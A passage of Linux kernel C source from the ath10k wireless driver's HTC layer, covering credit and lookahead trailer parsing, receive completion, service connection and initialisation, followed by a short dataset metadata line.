ath10k_warn(ar, "Uneven credit report len %d", len);
n_reports = len / sizeof(*report);
spin_lock_bh(&htc->tx_lock);
for (i = 0; i < n_reports; i++, report++) {
if (report->eid >= ATH10K_HTC_EP_COUNT)
break;
ep = &htc->endpoint[report->eid];
ep->tx_credits += report->credits;
ath10k_dbg(ar, ATH10K_DBG_HTC, "htc ep %d got %d credits (total %d)\n",
report->eid, report->credits, ep->tx_credits);
if (ep->ep_ops.ep_tx_credits) {
spin_unlock_bh(&htc->tx_lock);
ep->ep_ops.ep_tx_credits(htc->ar);
spin_lock_bh(&htc->tx_lock);
}
}
spin_unlock_bh(&htc->tx_lock);
}
static int
ath10k_htc_process_lookahead(struct ath10k_htc *htc,
const struct ath10k_htc_lookahead_report *report,
int len,
enum ath10k_htc_ep_id eid,
void *next_lookaheads,
int *next_lookaheads_len)
{
struct ath10k *ar = htc->ar;
/* Invalid lookahead flags are actually transmitted by
* the target in the HTC control message.
* Since this will happen at every boot we silently ignore
* the lookahead in this case
*/
if (report->pre_valid != ((~report->post_valid) & 0xFF))
return 0;
if (next_lookaheads && next_lookaheads_len) {
ath10k_dbg(ar, ATH10K_DBG_HTC,
"htc rx lookahead found pre_valid 0x%x post_valid 0x%x\n",
report->pre_valid, report->post_valid);
/* look ahead bytes are valid, copy them over */
memcpy((u8 *)next_lookaheads, report->lookahead, 4);
*next_lookaheads_len = 1;
}
return 0;
}
static int
ath10k_htc_process_lookahead_bundle(struct ath10k_htc *htc,
const struct ath10k_htc_lookahead_bundle *report,
int len,
enum ath10k_htc_ep_id eid,
void *next_lookaheads,
int *next_lookaheads_len)
{
struct ath10k *ar = htc->ar;
int bundle_cnt = len / sizeof(*report);
if (!bundle_cnt || (bundle_cnt > HTC_HOST_MAX_MSG_PER_BUNDLE)) {
ath10k_warn(ar, "Invalid lookahead bundle count: %d\n",
bundle_cnt);
return -EINVAL;
}
if (next_lookaheads && next_lookaheads_len) {
int i;
for (i = 0; i < bundle_cnt; i++) {
memcpy(((u8 *)next_lookaheads) + 4 * i,
report->lookahead, 4);
report++;
}
*next_lookaheads_len = bundle_cnt;
}
return 0;
}
int ath10k_htc_process_trailer(struct ath10k_htc *htc,
u8 *buffer,
int length,
enum ath10k_htc_ep_id src_eid,
void *next_lookaheads,
int *next_lookaheads_len)
{
struct ath10k_htc_lookahead_bundle *bundle;
struct ath10k *ar = htc->ar;
int status = 0;
struct ath10k_htc_record *record;
u8 *orig_buffer;
int orig_length;
size_t len;
orig_buffer = buffer;
orig_length = length;
while (length > 0) {
record = (struct ath10k_htc_record *)buffer;
if (length < sizeof(record->hdr)) {
status = -EINVAL;
break;
}
if (record->hdr.len > length) {
/* no room left in buffer for record */
ath10k_warn(ar, "Invalid record length: %d\n",
record->hdr.len);
status = -EINVAL;
break;
}
switch (record->hdr.id) {
case ATH10K_HTC_RECORD_CREDITS:
len = sizeof(struct ath10k_htc_credit_report);
if (record->hdr.len < len) {
ath10k_warn(ar, "Credit report too long\n");
status = -EINVAL;
break;
}
ath10k_htc_process_credit_report(htc,
record->credit_report,
record->hdr.len,
src_eid);
break;
case ATH10K_HTC_RECORD_LOOKAHEAD:
len = sizeof(struct ath10k_htc_lookahead_report);
if (record->hdr.len < len) {
ath10k_warn(ar, "Lookahead report too long\n");
status = -EINVAL;
break;
}
status = ath10k_htc_process_lookahead(htc,
record->lookahead_report,
record->hdr.len,
src_eid,
next_lookaheads,
next_lookaheads_len);
break;
case ATH10K_HTC_RECORD_LOOKAHEAD_BUNDLE:
bundle = record->lookahead_bundle;
status = ath10k_htc_process_lookahead_bundle(htc,
bundle,
record->hdr.len,
src_eid,
next_lookaheads,
next_lookaheads_len);
break;
default:
ath10k_warn(ar, "Unhandled record: id:%d length:%d\n",
record->hdr.id, record->hdr.len);
break;
}
if (status)
break;
/* multiple records may be present in a trailer */
buffer += sizeof(record->hdr) + record->hdr.len;
length -= sizeof(record->hdr) + record->hdr.len;
}
if (status)
ath10k_dbg_dump(ar, ATH10K_DBG_HTC, "htc rx bad trailer", "",
orig_buffer, orig_length);
return status;
}
EXPORT_SYMBOL(ath10k_htc_process_trailer);
void ath10k_htc_rx_completion_handler(struct ath10k *ar, struct sk_buff *skb)
{
int status = 0;
struct ath10k_htc *htc = &ar->htc;
struct ath10k_htc_hdr *hdr;
struct ath10k_htc_ep *ep;
u16 payload_len;
u32 trailer_len = 0;
size_t min_len;
u8 eid;
bool trailer_present;
hdr = (struct ath10k_htc_hdr *)skb->data;
skb_pull(skb, sizeof(*hdr));
eid = hdr->eid;
if (eid >= ATH10K_HTC_EP_COUNT) {
ath10k_warn(ar, "HTC Rx: invalid eid %d\n", eid);
ath10k_dbg_dump(ar, ATH10K_DBG_HTC, "htc bad header", "",
hdr, sizeof(*hdr));
goto out;
}
ep = &htc->endpoint[eid];
payload_len = __le16_to_cpu(hdr->len);
if (payload_len + sizeof(*hdr) > ATH10K_HTC_MAX_LEN) {
ath10k_warn(ar, "HTC rx frame too long, len: %zu\n",
payload_len + sizeof(*hdr));
ath10k_dbg_dump(ar, ATH10K_DBG_HTC, "htc bad rx pkt len", "",
hdr, sizeof(*hdr));
goto out;
}
if (skb->len < payload_len) {
ath10k_dbg(ar, ATH10K_DBG_HTC,
"HTC Rx: insufficient length, got %d, expected %d\n",
skb->len, payload_len);
ath10k_dbg_dump(ar, ATH10K_DBG_HTC, "htc bad rx pkt len",
"", hdr, sizeof(*hdr));
goto out;
}
/* get flags to check for trailer */
trailer_present = hdr->flags & ATH10K_HTC_FLAG_TRAILER_PRESENT;
if (trailer_present) {
u8 *trailer;
trailer_len = hdr->trailer_len;
min_len = sizeof(struct ath10k_ath10k_htc_record_hdr);
if ((trailer_len < min_len) ||
(trailer_len > payload_len)) {
ath10k_warn(ar, "Invalid trailer length: %d\n",
trailer_len);
goto out;
}
trailer = (u8 *)hdr;
trailer += sizeof(*hdr);
trailer += payload_len;
trailer -= trailer_len;
status = ath10k_htc_process_trailer(htc, trailer,
trailer_len, hdr->eid,
NULL, NULL);
if (status)
goto out;
skb_trim(skb, skb->len - trailer_len);
}
if (((int)payload_len - (int)trailer_len) <= 0)
/* zero length packet with trailer data, just drop these */
goto out;
ath10k_dbg(ar, ATH10K_DBG_HTC, "htc rx completion ep %d skb %pK\n",
eid, skb);
ep->ep_ops.ep_rx_complete(ar, skb);
/* skb is now owned by the rx completion handler */
skb = NULL;
out:
kfree_skb(skb);
}
EXPORT_SYMBOL(ath10k_htc_rx_completion_handler);
static void ath10k_htc_control_rx_complete(struct ath10k *ar,
struct sk_buff *skb)
{
struct ath10k_htc *htc = &ar->htc;
struct ath10k_htc_msg *msg = (struct ath10k_htc_msg *)skb->data;
switch (__le16_to_cpu(msg->hdr.message_id)) {
case ATH10K_HTC_MSG_READY_ID:
case ATH10K_HTC_MSG_CONNECT_SERVICE_RESP_ID:
/* handle HTC control message */
if (completion_done(&htc->ctl_resp)) {
/* this is a fatal error, target should not be
* sending unsolicited messages on the ep 0
*/
ath10k_warn(ar, "HTC rx ctrl still processing\n");
complete(&htc->ctl_resp);
goto out;
}
htc->control_resp_len =
min_t(int, skb->len,
ATH10K_HTC_MAX_CTRL_MSG_LEN);
memcpy(htc->control_resp_buffer, skb->data,
htc->control_resp_len);
complete(&htc->ctl_resp);
break;
case ATH10K_HTC_MSG_SEND_SUSPEND_COMPLETE:
htc->htc_ops.target_send_suspend_complete(ar);
break;
default:
ath10k_warn(ar, "ignoring unsolicited htc ep0 event\n");
break;
}
out:
kfree_skb(skb);
}
/***************/
/* Init/Deinit */
/***************/
static const char *htc_service_name(enum ath10k_htc_svc_id id)
{
switch (id) {
case ATH10K_HTC_SVC_ID_RESERVED:
return "Reserved";
case ATH10K_HTC_SVC_ID_RSVD_CTRL:
return "Control";
case ATH10K_HTC_SVC_ID_WMI_CONTROL:
return "WMI";
case ATH10K_HTC_SVC_ID_WMI_DATA_BE:
return "DATA BE";
case ATH10K_HTC_SVC_ID_WMI_DATA_BK:
return "DATA BK";
case ATH10K_HTC_SVC_ID_WMI_DATA_VI:
return "DATA VI";
case ATH10K_HTC_SVC_ID_WMI_DATA_VO:
return "DATA VO";
case ATH10K_HTC_SVC_ID_NMI_CONTROL:
return "NMI Control";
case ATH10K_HTC_SVC_ID_NMI_DATA:
return "NMI Data";
case ATH10K_HTC_SVC_ID_HTT_DATA_MSG:
return "HTT Data";
case ATH10K_HTC_SVC_ID_TEST_RAW_STREAMS:
return "RAW";
}
return "Unknown";
}
static void ath10k_htc_reset_endpoint_states(struct ath10k_htc *htc)
{
struct ath10k_htc_ep *ep;
int i;
for (i = ATH10K_HTC_EP_0; i < ATH10K_HTC_EP_COUNT; i++) {
ep = &htc->endpoint[i];
ep->service_id = ATH10K_HTC_SVC_ID_UNUSED;
ep->max_ep_message_len = 0;
ep->max_tx_queue_depth = 0;
ep->eid = i;
ep->htc = htc;
ep->tx_credit_flow_enabled = true;
}
}
static u8 ath10k_htc_get_credit_allocation(struct ath10k_htc *htc,
u16 service_id)
{
u8 allocation = 0;
/* The WMI control service is the only service with flow control.
* Let it have all transmit credits.
*/
if (service_id == ATH10K_HTC_SVC_ID_WMI_CONTROL)
allocation = htc->total_transmit_credits;
return allocation;
}
int ath10k_htc_wait_target(struct ath10k_htc *htc)
{
struct ath10k *ar = htc->ar;
int i, status = 0;
unsigned long time_left;
struct ath10k_htc_msg *msg;
u16 message_id;
time_left = wait_for_completion_timeout(&htc->ctl_resp,
ATH10K_HTC_WAIT_TIMEOUT_HZ);
if (!time_left) {
/* Workaround: In some cases the PCI HIF doesn't
* receive interrupt for the control response message
* even if the buffer was completed. It is suspected
* iomap writes unmasking PCI CE irqs aren't propagated
* properly in KVM PCI-passthrough sometimes.
*/
ath10k_warn(ar, "failed to receive control response completion, polling..\n");
for (i = 0; i < CE_COUNT; i++)
ath10k_hif_send_complete_check(htc->ar, i, 1);
time_left =
wait_for_completion_timeout(&htc->ctl_resp,
ATH10K_HTC_WAIT_TIMEOUT_HZ);
if (!time_left)
status = -ETIMEDOUT;
}
if (status < 0) {
ath10k_err(ar, "ctl_resp never came in (%d)\n", status);
return status;
}
if (htc->control_resp_len < sizeof(msg->hdr) + sizeof(msg->ready)) {
ath10k_err(ar, "Invalid HTC ready msg len:%d\n",
htc->control_resp_len);
return -ECOMM;
}
msg = (struct ath10k_htc_msg *)htc->control_resp_buffer;
message_id = __le16_to_cpu(msg->hdr.message_id);
if (message_id != ATH10K_HTC_MSG_READY_ID) {
ath10k_err(ar, "Invalid HTC ready msg: 0x%x\n", message_id);
return -ECOMM;
}
htc->total_transmit_credits = __le16_to_cpu(msg->ready.credit_count);
htc->target_credit_size = __le16_to_cpu(msg->ready.credit_size);
ath10k_dbg(ar, ATH10K_DBG_HTC,
"Target ready! transmit resources: %d size:%d\n",
htc->total_transmit_credits,
htc->target_credit_size);
if ((htc->total_transmit_credits == 0) ||
(htc->target_credit_size == 0)) {
ath10k_err(ar, "Invalid credit size received\n");
return -ECOMM;
}
/* The only way to determine if the ready message is an extended
* message is from the size.
*/
if (htc->control_resp_len >=
sizeof(msg->hdr) + sizeof(msg->ready_ext)) {
htc->max_msgs_per_htc_bundle =
min_t(u8, msg->ready_ext.max_msgs_per_htc_bundle,
HTC_HOST_MAX_MSG_PER_BUNDLE);
ath10k_dbg(ar, ATH10K_DBG_HTC,
"Extended ready message. RX bundle size: %d\n",
htc->max_msgs_per_htc_bundle);
}
return 0;
}
int ath10k_htc_connect_service(struct ath10k_htc *htc,
struct ath10k_htc_svc_conn_req *conn_req,
struct ath10k_htc_svc_conn_resp *conn_resp)
{
struct ath10k *ar = htc->ar;
struct ath10k_htc_msg *msg;
struct ath10k_htc_conn_svc *req_msg;
struct ath10k_htc_conn_svc_response resp_msg_dummy;
struct ath10k_htc_conn_svc_response *resp_msg = &resp_msg_dummy;
enum ath10k_htc_ep_id assigned_eid = ATH10K_HTC_EP_COUNT;
struct ath10k_htc_ep *ep;
struct sk_buff *skb;
unsigned int max_msg_size = 0;
int length, status;
unsigned long time_left;
bool disable_credit_flow_ctrl = false;
u16 message_id, service_id, flags = 0;
u8 tx_alloc = 0;
/* special case for HTC pseudo control service */
if (conn_req->service_id == ATH10K_HTC_SVC_ID_RSVD_CTRL) {
disable_credit_flow_ctrl = true;
assigned_eid = ATH10K_HTC_EP_0;
max_msg_size = ATH10K_HTC_MAX_CTRL_MSG_LEN;
memset(&resp_msg_dummy, 0, sizeof(resp_msg_dummy));
goto setup;
}
tx_alloc = ath10k_htc_get_credit_allocation(htc,
conn_req->service_id);
if (!tx_alloc)
ath10k_dbg(ar, ATH10K_DBG_BOOT,
"boot htc service %s does not allocate target credits\n",
htc_service_name(conn_req->service_id));
skb = ath10k_htc_build_tx_ctrl_skb(htc->ar);
if (!skb) {
ath10k_err(ar, "Failed to allocate HTC packet\n");
return -ENOMEM;
}
length = sizeof(msg->hdr) + sizeof(msg->connect_service);
skb_put(skb, length);
memset(skb->data, 0, length);
msg = (struct ath10k_htc_msg *)skb->data;
msg->hdr.message_id =
__cpu_to_le16(ATH10K_HTC_MSG_CONNECT_SERVICE_ID);
flags |= SM(tx_alloc, ATH10K_HTC_CONN_FLAGS_RECV_ALLOC);
/* Only enable credit flow control for WMI ctrl service */
if (conn_req->service_id != ATH10K_HTC_SVC_ID_WMI_CONTROL) {
flags |= ATH10K_HTC_CONN_FLAGS_DISABLE_CREDIT_FLOW_CTRL;
disable_credit_flow_ctrl = true;
}
req_msg = &msg->connect_service;
req_msg->flags = __cpu_to_le16(flags);
req_msg->service_id = __cpu_to_le16(conn_req->service_id);
reinit_completion(&htc->ctl_resp);
status = ath10k_htc_send(htc, ATH10K_HTC_EP_0, skb);
if (status) {
kfree_skb(skb);
return status;
}
/* wait for response */
time_left = wait_for_completion_timeout(&htc->ctl_resp,
ATH10K_HTC_CONN_SVC_TIMEOUT_HZ);
if (!time_left) {
ath10k_err(ar, "Service connect timeout\n");
return -ETIMEDOUT;
}
/* we controlled the buffer creation, it's aligned */
msg = (struct ath10k_htc_msg *)htc->control_resp_buffer;
resp_msg = &msg->connect_service_response;
message_id = __le16_to_cpu(msg->hdr.message_id);
service_id = __le16_to_cpu(resp_msg->service_id);
if ((message_id != ATH10K_HTC_MSG_CONNECT_SERVICE_RESP_ID) ||
(htc->control_resp_len < sizeof(msg->hdr) +
sizeof(msg->connect_service_response))) {
ath10k_err(ar, "Invalid resp message ID 0x%x", message_id);
return -EPROTO;
}
ath10k_dbg(ar, ATH10K_DBG_HTC,
"HTC Service %s connect response: status: 0x%x, assigned ep: 0x%x\n",
htc_service_name(service_id),
resp_msg->status, resp_msg->eid);
conn_resp->connect_resp_code = resp_msg->status;
/* check response status */
if (resp_msg->status != ATH10K_HTC_CONN_SVC_STATUS_SUCCESS) {
ath10k_err(ar, "HTC Service %s connect request failed: 0x%x)\n",
htc_service_name(service_id),
resp_msg->status);
return -EPROTO;
}
assigned_eid = (enum ath10k_htc_ep_id)resp_msg->eid;
max_msg_size = __le16_to_cpu(resp_msg->max_msg_size);
setup:
if (assigned_eid >= ATH10K_HTC_EP_COUNT)
return -EPROTO;
if (max_msg_size == 0)
return -EPROTO;
ep = &htc->endpoint[assigned_eid];
ep->eid = assigned_eid;
if (ep->service_id != ATH10K_HTC_SVC_ID_UNUSED)
return -EPROTO;
/* return assigned endpoint to caller */
conn_resp->eid = assigned_eid;
conn_resp->max_msg_len = __le16_to_cpu(resp_msg->max_msg_size);
/* setup the endpoint */
ep->service_id = conn_req->service_id;
ep->max_tx_queue_depth = conn_req->max_send_queue_depth;
ep->max_ep_message_len = __le16_to_cpu(resp_msg->max_msg_size);
ep->tx_credits = tx_alloc;
/* copy all the callbacks */
ep->ep_ops = conn_req->ep_ops;
status = ath10k_hif_map_service_to_pipe(htc->ar,
ep->service_id,
&ep->ul_pipe_id,
&ep->dl_pipe_id);
if (status)
return status;
ath10k_dbg(ar, ATH10K_DBG_BOOT,
"boot htc service '%s' ul pipe %d dl pipe %d eid %d ready\n",
htc_service_name(ep->service_id), ep->ul_pipe_id,
ep->dl_pipe_id, ep->eid);
if (disable_credit_flow_ctrl && ep->tx_credit_flow_enabled) {
ep->tx_credit_flow_enabled = false;
ath10k_dbg(ar, ATH10K_DBG_BOOT,
"boot htc service '%s' eid %d TX flow control disabled\n",
htc_service_name(ep->service_id), assigned_eid);
}
return status;
}
struct sk_buff *ath10k_htc_alloc_skb(struct ath10k *ar, int size)
{
struct sk_buff *skb;
skb = dev_alloc_skb(size + sizeof(struct ath10k_htc_hdr));
if (!skb)
return NULL;
skb_reserve(skb, sizeof(struct ath10k_htc_hdr));
/* FW/HTC requires 4-byte aligned streams */
if (!IS_ALIGNED((unsigned long)skb->data, 4))
ath10k_warn(ar, "Unaligned HTC tx skb\n");
return skb;
}
int ath10k_htc_start(struct ath10k_htc *htc)
{
struct ath10k *ar = htc->ar;
struct sk_buff *skb;
int status = 0;
struct ath10k_htc_msg *msg;
skb = ath10k_htc_build_tx_ctrl_skb(htc->ar);
if (!skb)
return -ENOMEM;
skb_put(skb, sizeof(msg->hdr) + sizeof(msg->setup_complete_ext));
memset(skb->data, 0, skb->len);
msg = (struct ath10k_htc_msg *)skb->data;
msg->hdr.message_id =
__cpu_to_le16(ATH10K_HTC_MSG_SETUP_COMPLETE_EX_ID);
if (ar->hif.bus == ATH10K_BUS_SDIO) {
/* Extra setup params used by SDIO */
msg->setup_complete_ext.flags =
__cpu_to_le32(ATH10K_HTC_SETUP_COMPLETE_FLAGS_RX_BNDL_EN);
msg->setup_complete_ext.max_msgs_per_bundled_recv =
htc->max_msgs_per_htc_bundle;
}
ath10k_dbg(ar, ATH10K_DBG_HTC, "HTC is using TX credit flow control\n");
status = ath10k_htc_send(htc, ATH10K_HTC_EP_0, skb);
if (status) {
kfree_skb(skb);
return status;
}
return 0;
}
/* registered target arrival callback from the HIF layer */
int ath10k_htc_init(struct ath10k *ar)
{
int status;
struct ath10k_htc *htc = &ar->htc;
struct ath10k_htc_svc_conn_req conn_req;
struct ath10k_htc_svc_conn_resp conn_resp;
spin_lock_init(&htc->tx_lock);
ath10k_htc_reset_endpoint_states(htc);
htc->ar = ar;
/* setup our pseudo HTC control endpoint connection */
memset(&conn_req, 0, sizeof(conn_req));
memset(&conn_resp, 0, sizeof(conn_resp));
conn_req.ep_ops.ep_tx_complete = ath10k_htc_control_tx_complete;
conn_req.ep_ops.ep_rx_complete = ath10k_htc_control_rx_complete;
conn_req.max_send_queue_depth = ATH10K_NUM_CONTROL_TX_BUFFERS;
conn_req.service_id = ATH10K_HTC_SVC_ID_RSVD_CTRL;
/* connect fake service */
status = ath10k_htc_connect_service(htc, &conn_req, &conn_resp);
if (status) {
ath10k_err(ar, "could not connect to htc service (%d)\n",
status);
return status;
}
init_completion(&htc->ctl_resp);
return 0;
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.